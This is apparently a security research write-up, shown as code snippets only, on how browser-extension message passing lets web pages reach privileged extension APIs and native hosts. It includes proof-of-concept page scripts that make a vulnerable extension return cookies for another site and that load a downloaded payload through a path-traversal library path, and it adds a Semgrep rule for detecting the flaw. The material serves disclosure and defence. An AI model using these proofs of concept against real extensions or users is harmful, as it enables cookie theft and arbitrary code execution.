通过浏览器扩展中的链接消息实现通用代码执行

"content_scripts": [  {    "js": [      "js/contentscript.js"    ],    "matches": [      "http://*/*",      "https://*/*"    ],    "all_frames": true  }]

await chrome.runtime.sendMessage({greeting: "hello"});

chrome.runtime.onMessage.addListener(  function(request, sender, sendResponse) {    console.log(sender.tab ?                "from a content script:" + sender.tab.url :                "from the extension");    if (request.greeting === "hello")      sendResponse({farewell: "goodbye"});  });

document.getElementById("checkInstalledButton").addEventListener("click", () => {  window.postMessage(      {type: "CHECK_INSTALLED_VERSION", latestVersion: "1.2.3" }, "*");}, false);

var port = chrome.runtime.connect();window.addEventListener("message", (event) => {  // We only accept messages from ourselves  if (event.source !== window) {    return;  }  if (event.data.type && (event.data.type === "CHECK_INSTALLED_VERSION")) {    console.log("Content script received: " + event.data.type);    port.postMessage(event.data);  }}, false);

"content_scripts": [  {    "js": [      "js/jquery-3.2.1.min.js",      "js/contentscript.js",    ],    "matches": [      "http://*/*",      "https://*/*"    ],    "all_frames": true  }

"permissions": [  "cookies",  "webRequest",  "webRequestBlocking",  "https://website-a.com/*",  "https://website-b.com/*",  "https://*.website-c.com/*"]

chrome.runtime.onMessage.addListener(function(a, b, c) {  switch (a.Action) {    // ...    case "GETCOOKIE":        GetCookie(a, b.tab.id);        break;    // ...function GetCookie(a, b) {    chrome.cookies.getAll({        domain: a.URL    }, function(c) {        var d = [];        $(c).each(function() {            d.push({                name: this.name,                value: this.value,                domain: this.domain,                secure: this.secure,                path: this.path            })        });        a.Data = JSON.stringify(d);        SendMessage("ONRESULT", a, b)    })}

function runPoc() {               const payload = {        Action: "GETCOOKIE",        background: true,        URL: "website-a.com"    }    window.postMessage(payload, '*');          }setTimeout(runPoc, 1000)

{  "name": "com.my_company.my_application",  "description": "My Application",  "path": "C:\Program Files\My Application\chrome_native_messaging_host.exe",  "type": "stdio",  "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]}

chrome.runtime.sendNativeMessage(  'com.my_company.my_application',  {text: 'Hello'},  function (response) {    console.log('Received ' + response);  });

node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"

rules:- id: content-script-postmessage-to-chrome-runtime-sendmessage  mode: taint  options:    interfile: true  message: Content script postmessage handler forwards data to chrome runtime.  languages:  - javascript  - typescript  severity: ERROR  pattern-sources:    - patterns:        - pattern-inside: window.addEventListener('message', function($EVENT) { ... }, ...)        - pattern-not: ... if (<... $EVENT.origin ...>) { ... } ...        - focus-metavariable: $EVENT  pattern-sinks:    - pattern: $CHROME_RUNTIME.sendMessage(...)    - pattern: port.postMessage(...)

"content_scripts": [ {  "all_frames": true,  "js": [ "content.js" ],  "matches": [ "*://*/*", "file:///*" ],  "run_at": "document_start"} ]

window.addEventListener("message", function(event) {    // We only accept messages from ourselves    if (event.source !== window)        return;    if (event.data.src && (event.data.src === "user_page.js")) {        event.data["origin"] = location.origin;        if (SDLogToConsole) {            console.log("From page: ");            console.log(event.data);        }        //Send Message to Extension        chrome.runtime.sendMessage(event.data, function(resp) {});    }});

var port = chrome.runtime.connectNative("example.b.chrome.host");chrome.runtime.onMessage.addListener(  function(request, sender, sendResponse) {    console.log(sender.tab ?                "from a content script:" + sender.tab.url :                "From the extension");     if (port == null )   {  chrome.windows.create({url: "popup.html", type:"popup", top:100, left:100, width:630,height:320});  return true;   }   port.postMessage(request);     return true;  });

public static TxnRespWithObj<List<X509Certificate2>> EnumerateSCCertificates(string PKCS11Lib)    {      List<X509Certificate2> x509Certificate2List = new List<X509Certificate2>();      TxnRespWithObj<List<X509Certificate2>> txnRespWithObj1;      try      {        string str = "C:\Windows\System32\" + PKCS11Lib;        if (!File.Exists(str))          return new TxnRespWithObj<List<X509Certificate2>>()          {            IsSuccess = false,            TxnOutcome = "Required Smartcard driver " + str + " not found. Install token drivers and try again."          };        using (IPkcs11Library pkcs11Library = PKCS11SCUnlock.Factories.Pkcs11LibraryFactory.LoadPkcs11Library(PKCS11SCUnlock.Factories, str, AppType.MultiThreaded))

<script>    // Function to handle incoming postMessage events    function receiveMessage(event) {        // Access the data sent from the other window/iframe        const receivedData = event.data;        // Create a new paragraph element to display the message        const newMessage = document.createElement('p');        newMessage.textContent = JSON.stringify(receivedData);        // Append the new message to the message container        const messageContainer = document.getElementById('messageContainer');        messageContainer.appendChild(newMessage);    }    // Add event listener to listen for postMessage events    window.addEventListener('message', receiveMessage);function runPoc() {window.postMessage({src: 'user_page.js', action: 'GetCertLib', PKCS11Lib: '..\..\..\..\..\Users\James\Downloads\payload.txt'}, "*")}function downloadPayload() {  const downloadLink = document.getElementById('download');  downloadLink.click()  setTimeout(runPoc, 2000);}setTimeout(downloadPayload, 2000);</script>